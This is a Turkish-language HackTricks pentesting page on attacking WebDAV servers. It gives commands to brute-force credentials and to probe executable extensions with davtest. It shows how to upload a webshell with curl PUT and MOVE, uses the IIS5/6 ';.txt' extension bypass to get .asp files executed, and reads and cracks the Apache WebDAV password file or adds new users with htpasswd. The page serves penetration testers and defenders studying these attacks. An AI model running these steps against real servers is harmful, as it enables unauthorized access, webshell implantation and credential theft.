# WebDav {{#include ../../banners/hacktricks-training.md}} **WebDav** etkin bir **HTTP Sunucusu** ile çalışırken, doğru **kimlik bilgilerine** sahip olduğunuzda **dosyaları manipüle etmek** mümkündür; bu genellikle **HTTP Temel Kimlik Doğrulaması** ile doğrulanır. Böyle bir sunucu üzerinde kontrol sağlamak genellikle **bir webshell'in yüklenmesi ve çalıştırılmasını** içerir. WebDav sunucusuna erişim genellikle **geçerli kimlik bilgileri** gerektirir; [**WebDav bruteforce**](../../generic-hacking/brute-force.md#http-basic-auth) bunları elde etmenin yaygın bir yöntemidir. Dosya yükleme kısıtlamalarını aşmak için, özellikle sunucu tarafı betiklerinin çalıştırılmasını engelleyen kısıtlamalar varsa, şunları yapabilirsiniz: - Kısıtlama yoksa **çalıştırılabilir uzantılara** sahip dosyaları doğrudan **yükleyin**. - Yüklenen çalıştırılamayan dosyaları (örneğin .txt) çalıştırılabilir bir uzantıya **yeniden adlandırın**. - Yüklenen çalıştırılamayan dosyaları **kopyalayın**, uzantılarını çalıştırılabilir bir uzantıya değiştirecek şekilde. ## DavTest **Davtest**, **farklı uzantılara sahip birkaç dosya yüklemeyi** dener ve uzantının **çalıştırılıp çalıştırılmadığını** **kontrol eder**: ```bash davtest [-auth user:password] -move -sendbd auto -url http:// #Uplaod .txt files and try to move it to other extensions davtest [-auth user:password] -sendbd auto -url http:// #Try to upload every extension ``` ![](<../../images/image (851).png>) Bu, **.txt** ve **.html uzantılarının çalıştırıldığı** anlamına gelmez. Bu, web üzerinden **bu dosyalara erişebileceğiniz** anlamına gelir. ## Cadaver Bu aracı **WebDav** sunucusuna bağlanmak ve işlemleri (örneğin **yükleme**, **taşıma** veya **silme**) **manuel** olarak gerçekleştirmek için kullanabilirsiniz. ``` cadaver ``` ## PUT isteği ``` curl -T 'shell.txt' 'http://$ip' ``` ## MOVE isteği ```bash curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt' ``` ## IIS5/6 WebDav Açığı Bu açık çok ilginç. **WebDav**, **.asp** uzantılı dosyaların **yüklenmesine** veya **yeniden adlandırılmasına** **izin vermez**. Ancak, ismin sonuna **";.txt"** ekleyerek bunu **bypass** edebilirsiniz ve dosya, sanki bir .asp dosyasıymış gibi **çalıştırılacaktır** (aynı zamanda **".txt" yerine ".html"** de kullanabilirsiniz ama **";"yı unutmayın**). Sonra, shell'inizi bir ".**txt" dosyası** olarak **yükleyebilir** ve onu bir ".asp;.txt" dosyasına **kopyalayabilir/hareket ettirebilirsiniz**. Web sunucusu üzerinden o dosyaya eriştiğinizde, **çalıştırılacaktır** (cadaver, taşıma işleminin çalışmadığını söyleyecektir, ama çalıştı). ![](<../../images/image (1092).png>) ## Post kimlik bilgileri Eğer Webdav bir Apache sunucusu kullanıyorsa, Apache'de yapılandırılmış sitelere bakmalısınız. Genellikle:\ _**/etc/apache2/sites-enabled/000-default**_ İçinde şöyle bir şey bulabilirsiniz: ``` ServerAdmin webmaster@localhost Alias /webdav /var/www/webdav DAV On AuthType Digest AuthName "webdav" AuthUserFile /etc/apache2/users.password Require valid-user ``` Gördüğünüz gibi, **webdav** sunucusu için geçerli **credentials** içeren dosyalar var: ``` /etc/apache2/users.password ``` Bu tür dosyaların içinde **kullanıcı adı** ve şifrenin bir **hash**'i bulunur. Bunlar, webdav sunucusunun kullanıcıları kimlik doğrulamak için kullandığı kimlik bilgileridir. Onları **kırmayı** deneyebilir veya bir nedenle **webdav** sunucusuna **erişmek** istiyorsanız **daha fazla** ekleyebilirsiniz: ```bash htpasswd /etc/apache2/users.password #You will be prompted for the password ``` Yeni kimlik bilgilerini kontrol etmek için şunları yapabilirsiniz: ```bash wget --user --ask-password http://domain/path/to/webdav/ -O - -q ``` ## Referanslar - [https://vk9-sec.com/exploiting-webdav/](https://vk9-sec.com/exploiting-webdav/) {{#include ../../banners/hacktricks-training.md}}